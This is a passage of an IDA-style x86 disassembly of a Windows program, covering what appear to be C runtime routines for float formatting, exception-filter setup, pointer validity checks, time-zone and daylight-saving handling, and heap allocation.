		add	esp, 20h


loc_424C92:				; CODE XREF: sub_424BB0+A4j
		xor	esi, esi
		jmp	loc_424C15
; ---------------------------------------------------------------------------


loc_424C99:				; CODE XREF: sub_424BB0+A8j
		cmp	ebx, [edi]
		jl	short loc_424CC5
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424AFC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424B23
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_424C17
; ---------------------------------------------------------------------------


loc_424CC5:				; CODE XREF: sub_424BB0+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_424B23
		pop	ecx
		pop	ecx


loc_424CDC:				; CODE XREF: sub_424BB0+55j
		xor	eax, eax


loc_424CDE:				; CODE XREF: sub_424BB0+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_424D0D
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_424D17
; ---------------------------------------------------------------------------


loc_424D0D:				; CODE XREF: sub_424BB0+14Ej
		cmp	edi, 20h
		jnz	short loc_424D17
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_424D17:				; CODE XREF: sub_424BB0+15Bj
					; sub_424BB0+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424BB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D1C	proc near		; CODE XREF: sub_424D48+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43F968
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424BB0
		add	esp, 0Ch
		retn
sub_424D1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D32	proc near		; CODE XREF: sub_424D75+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43F980
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424BB0
		add	esp, 0Ch
		retn
sub_424D32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D48	proc near		; CODE XREF: sub_42219B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_425A21
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424D1C
		add	esp, 24h
		leave
		retn
sub_424D48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D75	proc near		; CODE XREF: sub_42219B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_425A21
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424D32
		add	esp, 24h
		leave
		retn
sub_424D75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424DA2	proc near		; CODE XREF: sub_4221D9+65p
					; sub_4222DD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_424DDF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424DC5:				; CODE XREF: sub_424DA2+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_424DD1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_424DD4
; ---------------------------------------------------------------------------


loc_424DD1:				; CODE XREF: sub_424DA2+27j
		push	30h
		pop	edx


loc_424DD4:				; CODE XREF: sub_424DA2+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424DC5
		mov	edx, [ebp+arg_8]


loc_424DDF:				; CODE XREF: sub_424DA2+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_424DF8
		cmp	byte ptr [ecx],	35h
		jl	short loc_424DF8


loc_424DEB:				; CODE XREF: sub_424DA2+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_424DF6
		mov	byte ptr [eax],	30h
		jmp	short loc_424DEB
; ---------------------------------------------------------------------------


loc_424DF6:				; CODE XREF: sub_424DA2+4Dj
		inc	byte ptr [eax]


loc_424DF8:				; CODE XREF: sub_424DA2+42j
					; sub_424DA2+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_424E02
		inc	dword ptr [edx+4]
		jmp	short loc_424E14
; ---------------------------------------------------------------------------


loc_424E02:				; CODE XREF: sub_424DA2+59j
		push	edi
		call	sub_41B7B0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41D460
		add	esp, 10h


loc_424E14:				; CODE XREF: sub_424DA2+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424DA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E19	proc near		; CODE XREF: sub_4221D9+3Fp
					; sub_4222DD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424E7D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DE228
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_425EF2
		mov	dword_4DE250, eax
		add	esp, 18h
		movsx	eax, byte_4DE22A
		mov	dword_4DE248, eax
		pop	edi
		movsx	eax, word_4DE228
		mov	dword_4DE24C, eax
		mov	dword_4DE254, offset dword_4DE22C
		mov	eax, offset dword_4DE248
		pop	esi
		leave
		retn
sub_424E19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E7D	proc near		; CODE XREF: sub_424E19+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_424ECB
		cmp	ebx, edi
		jz	short loc_424EC4
		lea	edi, [ecx+3C00h]
		jmp	short loc_424EEC
; ---------------------------------------------------------------------------


loc_424EC4:				; CODE XREF: sub_424E7D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_424EEC
; ---------------------------------------------------------------------------


loc_424ECB:				; CODE XREF: sub_424E7D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424EE3
		cmp	edx, ebx
		jnz	short loc_424EE3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_424F2E
; ---------------------------------------------------------------------------


loc_424EE3:				; CODE XREF: sub_424E7D+52j
					; sub_424E7D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_424EEC:				; CODE XREF: sub_424E7D+45j
					; sub_424E7D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_424F04:				; CODE XREF: sub_424E7D+A6j
		test	ecx, esi
		jnz	short loc_424F25
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_424F04
; ---------------------------------------------------------------------------


loc_424F25:				; CODE XREF: sub_424E7D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_424F2E:				; CODE XREF: sub_424E7D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424E7D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41E229
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_424F3C	proc near		; DATA XREF: sub_424F82o
					; .packed:0043F5A8o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_424F5F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_424F5F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_424F5F
		jmp	sub_422D5C
; ---------------------------------------------------------------------------


loc_424F5F:				; CODE XREF: sub_424F3C+Dj
					; sub_424F3C+13j ...
		mov	eax, dword_4DE258
		test	eax, eax
		jz	short loc_424F7C
		push	eax
		call	sub_424FD8
		test	eax, eax
		pop	ecx
		jz	short loc_424F7C
		push	esi
		call	dword_4DE258
		jmp	short loc_424F7E
; ---------------------------------------------------------------------------


loc_424F7C:				; CODE XREF: sub_424F3C+2Aj
					; sub_424F3C+35j
		xor	eax, eax


loc_424F7E:				; CODE XREF: sub_424F3C+3Ej
		pop	esi
		retn	4
sub_424F3C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424F82	proc near		; DATA XREF: .packed:0042A030o
		push	offset sub_424F3C
		call	dword_42801C	; SetUnhandledExceptionFilter
		mov	dword_4DE258, eax
		retn
sub_424F82	endp


; =============== S U B	R O U T	I N E =======================================



sub_424F93	proc near		; DATA XREF: .packed:0042A048o
		push	dword_4DE258
		call	dword_42801C	; SetUnhandledExceptionFilter
		retn
sub_424F93	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FA0	proc near		; CODE XREF: sub_4225B1+6Bp
					; sub_422AC2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_428018	; IsBadReadPtr
		test	eax, eax
		jz	short loc_424FB8
		xor	esi, esi


loc_424FB8:				; CODE XREF: sub_424FA0+14j
		mov	eax, esi
		pop	esi
		retn
sub_424FA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FBC	proc near		; CODE XREF: sub_422AC2+73p
					; sub_422AC2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_4281CC	; IsBadWritePtr
		test	eax, eax
		jz	short loc_424FD4
		xor	esi, esi


loc_424FD4:				; CODE XREF: sub_424FBC+14j
		mov	eax, esi
		pop	esi
		retn
sub_424FBC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FD8	proc near		; CODE XREF: sub_422AC2+15Bp
					; sub_424F3C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	dword_428014	; IsBadCodePtr
		test	eax, eax
		jz	short loc_424FEC
		xor	esi, esi


loc_424FEC:				; CODE XREF: sub_424FD8+10j
		mov	eax, esi
		pop	esi
		retn
sub_424FD8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_422D5C


loc_424FF0:				; CODE XREF: sub_422D5C:loc_422DADj
		push	0Ah
		call	sub_423EAD
		push	16h
		call	sub_426185
		pop	ecx
		pop	ecx
		push	3
		call	sub_41BF92
; END OF FUNCTION CHUNK	FOR sub_422D5C

; =============== S U B	R O U T	I N E =======================================



sub_425007	proc near		; CODE XREF: sub_422E69:loc_422EA8p
		cmp	dword_4DE318, 0
		jnz	short locret_42501B
		call	sub_42501C
		inc	dword_4DE318

locret_42501B:				; CODE XREF: sub_425007+7j
		retn
sub_425007	endp


; =============== S U B	R O U T	I N E =======================================



sub_42501C	proc near		; CODE XREF: sub_425007+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4DE260, ebp
		mov	dword_43FA40, ebx
		mov	dword_43FA30, ebx
		call	sub_4262F7
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_425145
		push	offset dword_4DE268
		call	dword_4281A4	; GetTimeZoneInformation
		cmp	eax, ebx
		jz	loc_425274
		mov	eax, dword_4DE268
		mov	ecx, dword_4DE2BC
		imul	eax, 3Ch
		cmp	word_4DE2AE, bp
		push	1
		pop	edx
		mov	dword_43F998, eax
		mov	dword_4DE260, edx
		jz	short loc_425093
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43F998, eax


loc_425093:				; CODE XREF: sub_42501C+69j
		cmp	word_4DE302, bp
		jz	short loc_4250B7
		mov	eax, dword_4DE310
		cmp	eax, ebp
		jz	short loc_4250B7
		sub	eax, ecx
		mov	dword_43F99C, edx
		imul	eax, 3Ch
		mov	dword_43F9A0, eax
		jmp	short loc_4250C3
; ---------------------------------------------------------------------------


loc_4250B7:				; CODE XREF: sub_42501C+7Ej
					; sub_42501C+87j
		mov	dword_43F99C, ebp
		mov	dword_43F9A0, ebp


loc_4250C3:				; CODE XREF: sub_42501C+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_428180
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43FA24
		push	ebx
		push	offset dword_4DE26C
		push	edi
		push	dword_4DE0FC
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_425100
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_425100
		mov	eax, off_43FA24
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_425108
; ---------------------------------------------------------------------------


loc_425100:				; CODE XREF: sub_42501C+D1j
					; sub_42501C+D7j
		mov	eax, off_43FA24
		and	byte ptr [eax],	0


loc_425108:				; CODE XREF: sub_42501C+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43FA28
		push	ebx
		push	offset dword_4DE2C0
		push	edi
		push	dword_4DE0FC
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	loc_42526C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_42526C
		mov	eax, off_43FA28
		and	byte ptr [eax+3Fh], 0
		jmp	loc_425274
; ---------------------------------------------------------------------------


loc_425145:				; CODE XREF: sub_42501C+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_425274
		mov	eax, dword_4DE314
		cmp	eax, ebp
		jz	short loc_425168
		push	eax
		push	esi
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_425274


loc_425168:				; CODE XREF: sub_42501C+139j
		push	dword_4DE314
		call	sub_41B881
		push	esi
		call	sub_41B7B0
		inc	eax
		push	eax
		call	sub_41BCA5
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4DE314, eax
		jz	loc_425274
		push	esi
		push	eax
		call	sub_41C680
		push	3
		push	esi
		push	off_43FA24
		call	sub_41BDC0
		mov	eax, off_43FA24
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_4251BD
		push	1
		inc	esi
		pop	edi


loc_4251BD:				; CODE XREF: sub_42501C+19Bj
		push	esi
		call	sub_41BEBE
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43F998, ecx


loc_4251D4:				; CODE XREF: sub_42501C+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4251E2
		cmp	al, bl
		jl	short loc_4251E5
		cmp	al, 39h
		jg	short loc_4251E5


loc_4251E2:				; CODE XREF: sub_42501C+1BCj
		inc	esi
		jmp	short loc_4251D4
; ---------------------------------------------------------------------------


loc_4251E5:				; CODE XREF: sub_42501C+1C0j
					; sub_42501C+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_425238
		inc	esi
		push	esi
		call	sub_41BEBE
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43F998
		add	ecx, eax
		mov	dword_43F998, ecx


loc_425203:				; CODE XREF: sub_42501C+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_425210
		cmp	al, 39h
		jg	short loc_425210
		inc	esi
		jmp	short loc_425203
; ---------------------------------------------------------------------------


loc_425210:				; CODE XREF: sub_42501C+1EBj
					; sub_42501C+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_425238
		inc	esi
		push	esi
		call	sub_41BEBE
		pop	ecx
		mov	ecx, dword_43F998
		add	ecx, eax
		mov	dword_43F998, ecx


loc_42522B:				; CODE XREF: sub_42501C+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_425238
		cmp	al, 39h
		jg	short loc_425238
		inc	esi
		jmp	short loc_42522B
; ---------------------------------------------------------------------------


loc_425238:				; CODE XREF: sub_42501C+1CCj
					; sub_42501C+1F7j ...
		cmp	edi, ebp
		jz	short loc_425244
		neg	ecx


loc_42523E:				; DATA XREF: .packed:off_43AE10o
		mov	dword_43F998, ecx


loc_425244:				; CODE XREF: sub_42501C+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43F99C, eax
		jz	short loc_42526C
		push	3
		push	esi
		push	off_43FA28
		call	sub_41BDC0
		mov	eax, off_43FA28
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_425274
; ---------------------------------------------------------------------------


loc_42526C:				; CODE XREF: sub_42501C+10Bj
					; sub_42501C+115j ...
		mov	eax, off_43FA28
		and	byte ptr [eax],	0


loc_425274:				; CODE XREF: sub_42501C+40j
					; sub_42501C+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42501C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42527A	proc near		; CODE XREF: sub_422E69+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43F99C, edi
		jnz	short loc_42528E


loc_425287:				; CODE XREF: sub_42527A+148j
					; sub_42527A+150j ...
		xor	eax, eax
		jmp	loc_4253DA
; ---------------------------------------------------------------------------


loc_42528E:				; CODE XREF: sub_42527A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43FA30
		jnz	short loc_4252AC
		cmp	eax, dword_43FA40
		jz	loc_4253AE


loc_4252AC:				; CODE XREF: sub_42527A+24j
		cmp	dword_4DE260, edi
		jz	loc_425384
		movzx	ecx, word_4DE30E
		push	ecx
		cmp	word_4DE300, di
		movzx	ecx, word_4DE30C
		push	ecx
		movzx	ecx, word_4DE30A
		push	ecx
		movzx	ecx, word_4DE308
		push	ecx
		jnz	short loc_4252FE
		movzx	ecx, word_4DE304
		push	edi
		push	ecx
		movzx	ecx, word_4DE306
		push	ecx
		movzx	ecx, word_4DE302
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_425312
; ---------------------------------------------------------------------------


loc_4252FE:				; CODE XREF: sub_42527A+65j
		movzx	ecx, word_4DE306
		push	ecx
		push	edi
		movzx	ecx, word_4DE302
		push	edi
		push	ecx
		push	eax
		push	edi


loc_425312:				; CODE XREF: sub_42527A+82j
		push	ebx
		call	sub_425426
		movzx	eax, word_4DE2BA
		add	esp, 2Ch
		cmp	word_4DE2AC, di
		push	eax
		movzx	eax, word_4DE2B8
		push	eax
		movzx	eax, word_4DE2B6
		push	eax
		movzx	eax, word_4DE2B4
		push	eax
		jnz	short loc_42536C
		movzx	eax, word_4DE2B0
		push	edi
		push	eax
		movzx	eax, word_4DE2B2
		push	eax
		movzx	eax, word_4DE2AE
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_425361:				; CODE XREF: sub_42527A+108j
		push	edi
		call	sub_425426
		add	esp, 2Ch
		jmp	short loc_4253AE
; ---------------------------------------------------------------------------


loc_42536C:				; CODE XREF: sub_42527A+C8j
		movzx	eax, word_4DE2B2
		push	eax
		push	edi
		movzx	eax, word_4DE2AE
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_425361
; ---------------------------------------------------------------------------


loc_425384:				; CODE XREF: sub_42527A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_425426
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_425426
		add	esp, 58h


loc_4253AE:				; CODE XREF: sub_42527A+2Cj
					; sub_42527A+F0j
		mov	edx, dword_43FA34
		mov	eax, dword_43FA44
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_4253DE
		cmp	ecx, edx
		jl	loc_425287
		cmp	ecx, eax
		jg	loc_425287
		cmp	ecx, edx
		jle	short loc_4253F2
		cmp	ecx, eax
		jge	short loc_4253F2


loc_4253D8:				; CODE XREF: sub_42527A+166j
					; sub_42527A+16Aj
		mov	eax, ebx


loc_4253DA:				; CODE XREF: sub_42527A+Fj
					; sub_42527A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4253DE:				; CODE XREF: sub_42527A+144j
		cmp	ecx, eax
		jl	short loc_4253D8
		cmp	ecx, edx
		jg	short loc_4253D8
		cmp	ecx, eax
		jle	short loc_4253F2
		cmp	ecx, edx
		jl	loc_425287


loc_4253F2:				; CODE XREF: sub_42527A+158j
					; sub_42527A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_425419
		xor	ecx, ecx
		cmp	eax, dword_43FA38
		setnl	cl


loc_425415:				; CODE XREF: sub_42527A+1AAj
		mov	eax, ecx
		jmp	short loc_4253DA
; ---------------------------------------------------------------------------


loc_425419:				; CODE XREF: sub_42527A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43FA48
		setl	cl
		jmp	short loc_425415
sub_42527A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425426	proc near		; CODE XREF: sub_42527A+99p
					; sub_42527A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_4254C1
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_425451
		shl	esi, 2
		mov	eax, dword_43FA48[esi]
		jmp	short loc_42545A
; ---------------------------------------------------------------------------


loc_425451:				; CODE XREF: sub_425426+1Ej
		shl	esi, 2
		mov	eax, dword_43FA7C[esi]


loc_42545A:				; CODE XREF: sub_425426+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_425494
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_42549E
; ---------------------------------------------------------------------------


loc_425494:				; CODE XREF: sub_425426+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_42549E:				; CODE XREF: sub_425426+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_4254DC
		cmp	[ebp+arg_8], 0
		jnz	short loc_4254B2
		mov	esi, dword_43FA4C[esi]
		jmp	short loc_4254B8
; ---------------------------------------------------------------------------


loc_4254B2:				; CODE XREF: sub_425426+82j
		mov	esi, dword_43FA80[esi]


loc_4254B8:				; CODE XREF: sub_425426+8Aj
		cmp	ecx, esi
		jle	short loc_4254DC
		sub	ecx, 7
		jmp	short loc_4254DC
; ---------------------------------------------------------------------------


loc_4254C1:				; CODE XREF: sub_425426+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_4254D2
		mov	ecx, dword_43FA48[eax*4]
		jmp	short loc_4254D9
; ---------------------------------------------------------------------------


loc_4254D2:				; CODE XREF: sub_425426+A1j
		mov	ecx, dword_43FA7C[eax*4]


loc_4254D9:				; CODE XREF: sub_425426+AAj
		add	ecx, [ebp+arg_18]


loc_4254DC:				; CODE XREF: sub_425426+7Cj
					; sub_425426+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_42550D
		mov	eax, [ebp+arg_1C]
		mov	dword_43FA34, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43FA30, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43FA38, eax
		jmp	short loc_425562
; ---------------------------------------------------------------------------


loc_42550D:				; CODE XREF: sub_425426+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43FA44, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43F9A0
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43FA48, eax
		jns	short loc_425545
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43FA48, eax
		jmp	short loc_425556
; ---------------------------------------------------------------------------


loc_425545:				; CODE XREF: sub_425426+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_42555C
		sub	eax, edx
		inc	ecx
		mov	dword_43FA48, eax


loc_425556:				; CODE XREF: sub_425426+11Dj
		mov	dword_43FA44, ecx


loc_42555C:				; CODE XREF: sub_425426+126j
		mov	dword_43FA40, ebx


loc_425562:				; CODE XREF: sub_425426+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_425426	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425566	proc near		; CODE XREF: sub_422F2B+22p
					; sub_422F2B+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_425587
		test	esi, esi
		jnz	short loc_425581
		push	1
		pop	esi


loc_425581:				; CODE XREF: sub_425566+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_425587:				; CODE XREF: sub_425566+12j
					; sub_425566+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4255E6
		mov	eax, dword_4DF6C8
		cmp	eax, 3
		jnz	short loc_4255B2
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DF6C0
		ja	short loc_4255D1
		push	eax
		call	sub_41E9CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4255FC
		jmp	short loc_4255D1
; ---------------------------------------------------------------------------


loc_4255B2:				; CODE XREF: sub_425566+30j
		cmp	eax, 2
		jnz	short loc_4255D1
		cmp	esi, dword_43EFE4
		ja	short loc_4255D1
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41F46E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_425610


loc_4255D1:				; CODE XREF: sub_425566+3Bj
					; sub_425566+4Aj ...
		push	esi
		push	8
		push	dword_4DF6C4
		call	dword_428148	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_42560A


loc_4255E6:				; CODE XREF: sub_425566+26j
		cmp	dword_4DE0B4, 0
		jz	short loc_42560A
		push	esi
		call	sub_41FB12
		test	eax, eax
		pop	ecx
